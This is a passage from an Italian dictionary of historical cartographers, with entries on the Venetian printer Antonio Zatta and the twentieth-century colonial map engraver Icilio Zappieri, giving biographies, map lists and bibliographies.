LAGO L., Theatrum Adriae, Trieste, 1989, p.248, n.94, p.250, n.102
LAGO L. - ROSSIT C., Theatrum Forii Iulii. La Patria del Friuli ed i territori finitimi nella cartografia antica sino a tutto il sec. XVIII, Trieste, Ed. Lint, 1988,vol.I, p.107
LAGO L.- ROSSIT, C., Descriptio Histriae, “Collana degli Atti del Centro Ricerche storiche di Rovino, n.5, Trieste, 1981, tav. XXIX
CUCAGNA A., Il Friuli e la Venezia Giulia nelle principali carte geografiche regionali dei secoli XVI, XVII e XVIII. Catalogo ragionato della Mostra storica di cartografia, “Atti del XVIII Congresso Geografico Italiano”, Vol. III, Trieste, 1964, p.24, p.365

Rimandi ad altre schede: Giacomo Gastaldi e Bolognino Zaltieri

Autore della scheda: Anonimo

Zatta, Antonio

Antonio Zatta
N.
M.

Relazioni di parentela: Fratello di Giacomo

Ente/istituzione di appartenenza:
Qualifica: stampatore

Biografia:
Venezia - XVIII sec.

Produzione scientifica:
Tipografo-calcografo, editore e libraio in ogni campo dell’editoria. L’illustrazione calcografica dei suoi prodotti era affidata al fratello Giacomo e a P.A. Novelli

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:
[Carta dell’Europa «l’Europa divisa ne’ suoi principali Stati»], Venezia, 1775

• [«Lo Stato Veneto», 1782],in Atlante Novissimo,Venezia, 1784

• [Carta del Friuli e Cadorino«Il Friuli colla Carnia e Cadorino»], in Atlante Novissimo, Venezia, 1784

• [Carta del Mar Nero «Teatro della guerra presente tra la Russia e la Porta Ottomana», 1782],Venezia, 1788


Fonti d’archivio:

Bibliografia:
BÜSCHING F., Nuova Geografia,Venezia, 1779

Atlante novissimo illustrato e accresciuto sulle osservazioni e scoperte fatte dai più celebri e più recenti geografi, Venezia, 1784
MAZZARIOL G., Catalogo del fondo cartografico queriniano, Venezia, Lombroso, Ed., 1959, p. 16




LAGO L., Imago Adriae, Trieste, 1996, p.178, n.114, 115
LAGO L., Theatrum Adriae, Trieste, 1989, pp.208-209, fig.132; p.299,n. 345, p.302, 370,n. 371,n.372, p.303, n. 376
LAGO L. – ROSSIT C., Theatrum Forii Iulii. La Patria del Friuli ed i territori finitimi nella cartografia antica sino a tutto il sec. XVIII, Trieste, Ed. Lint, 1988,vol.I, p.25, vol.II, pp. 124,157,163-165, fig.75
LAGO L.- ROSSIT C., Descriptio Histriae, “Collana degli Atti del Centro Ricerche storiche di Rovigno, n.5, Trieste, 1981, tav. CXVI
CUCAGNA A., Il Friuli e la Venezia Giulia nelle principali carte geografiche regionali dei secoli XVI, XVII e XVIII. Catalogo ragionato della Mostra storica di cartografia, “Atti del XVIII Congresso Geografico Italiano”, Vol. III,Trieste, 1964, pp. 312-313, n.106-107, p.365
MAZZARIOL G., Catalogo del fondo cartografico queriniano, Venezia, Lombroso, Ed., 1959,p. 67, n.142; p.77, n.171; p.79, nn.177-178; pp.84-85, nn.195-200; pp.86-87, nn.203-205; p.89, nn. 211-213; p.90, n.214; p.92, nn. 221-222; p.94, n.227; p.95, n.230; p. 96, n.233; p.143, n.384
ALBANI D., Catalogo ragionato delle carte geografiche esistenti nella cartoteca dell’istituto di Geografia della R. Università di Bologna, Bologna, 1943, n.97, n.101; n.128; n.160

Rimandi ad altre schede: Giovanni Pitteri e Giovanni Valle

Autore della scheda: Anonimo

Zappieri, Icilio

Icilio Zappieri
N. 1890
M. Roma 14 giugno 1961

Relazioni di parentela: Era genero di Achille Dardano, avendone sposato una figlia nel 1935.

Ente/istituzione di appartenenza: Istituto Geografico De Agostini; Ministero delle Colonie; Ministero dell’Africa Italiana; Istituto Geografico Editoriale Italiano
Qualifica: Disegnatore cartografo, incisore

Biografia:

Produzione scientifica:
Il nome di Icilio Zappieri compare in calce ad almeno 4 fogli (editi negli anni 1909-1913) della prima edizione della Carta d’Italia del Touring Club Italiano, con la qualifica di incisore.
Conclusa la realizzazione della carta (1913), lavorò brevemente in Germania, a Glogau (oggi Glogów, in Polonia), presso la ditta Carl Fleming, azienda editoriale attiva in campo cartografico.
Rientrò in Italia alla vigilia dello scoppio della I guerra mondiale (cui avrebbe preso parte ottenendo la croce al merito), e nel 1914 venne assunto come disegnatore presso l’Ufficio Cartografico del Ministero delle Colonie (poco più tardi ridenominato Servizio Cartografico del Ministero delle Colonie); qui era già presente Achille Dardano in qualità di cartografo. Nel 1919 Zappieri ottenne la qualifica di cartografo, mentre Dardano diveniva capo cartografo (e, dal 1922, direttore del Servizio Cartografico). Icilio Zappieri subentrò quindi ad Achille Dardano - a partire dal 1936, quando Dardano dovette ritirarsi - in qualità di reggente il Servizio stesso.
Ricoprendovi vari ruoli, dunque, Icilio Zappieri avrebbe svolto la sua attività presso il Servizio Cartografico del Ministero delle Colonie, poi Servizio Cartografico del Ministero dell’Africa Italiana, fino allo scioglimento del Ministero dell’Africa Italiana - secondo il necrologio che ne pubblicò il «Bollettino della Società Geografica Italiana» - vale a dire fino al 1954. Risulta però che avesse fondato con altri una ditta (v. oltre) attiva almeno dal 1952; sembra improbabile che, essendo ancora impiegato presso il Ministero dell’Africa Italiana, Zappieri avesse potuto concorrere alla costituzione di un’azienda privata; mentre è possibile che, nei primissimi anni Cinquanta, Zappieri abbia ottenuto il pensionamento dal Ministero, prima della sua formale soppressione, e quindi abbia costituito l’azienda privata.
Durante il periodo 1914-1954 (?), Zappieri collaborò alla realizzazione delle molte carte prodotte dal Servizio, anche se il suo nome solo a volte compare fra gli autori (generalmente come ‘disegnatore’), dato che nella produzione del Servizio Cartografico vigeva il criterio di assegnare al responsabile del Servizio (cioè ad Achille Dardano) la paternità delle carte prodotte: al punto che la firma di Dardano ricorre ancora dopo il suo pensionamento nel 1936 (forse per opere che erano state impostate in precedenza) e perfino anni dopo il suo decesso, avvenuto nel 1938 (nel caso di riedizioni più o meno aggiornate). Il nome di Zappieri appare, ad esempio, come disegnatore, in calce ai cinque fogli editi della Carta dimostrativa della Libia, 1:800.000 (anni 1920) e, ma non sistematicamente, in varie altre.
Dopo la II guerra mondiale, Icilio Zappieri fondò con altri (tra i quali certamente Mario Giuseppe Riccardi e Cesare Gioria, già suo collega presso il Servizio Cartografico) l’Istituto Geografico Editoriale Italiano, di cui si hanno notizie dal 1952; la ditta si trasformò poi in Cartografia Riccardi del dott. M.G. Riccardi, dopo l’allontanamento di Gioria e il ritiro di Zappieri, sul finire degli anni Cinquanta. (Si noti che la ragione sociale di Istituto Geografico Editoriale Italiano fu in seguito assunta da una casa editrice in Napoli, che non risulta avere nessun legame con la precedente ditta in cui era implicato Zappieri).

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
an., Icilio Zappieri, in «Bollettino della Società Geografica Italiana», Roma, 1961, p. 246
C. Cerreti, La raccolta cartografica dell’Istituto Italo - Africano, Tip. G. Pioda, Roma, 1987;
C. Cerreti, La Carta d’Italia di Achille Dardano. Un monumento della cartografia contemporanea, in «Geostorie», Roma, 2006, pp. 147-197;
M. Mininni, La cartografia coloniale e l’opera del Ministero dell’Africa Italiana, in Atti del XIV Congresso Geografico Italiano, Bologna 1947, Bologna, 1949, pp. 213-221.

C. Cerreti, La raccolta cartografica dell’Istituto Italo - Africano, Tip. G. Pioda, Roma, 1987;

Rimandi ad altre schede: Achille Dardano, Istituto Geografico De Agostini, Cesare Gioria, Servizio Cartografico del Ministero dell’Africa Italiana, Servizio Cartografico del Ministero delle Colonie, Touring Club Italiano e Ufficio Cartografico del Ministero delle Colonie

Autore della scheda: Claudio Cerreti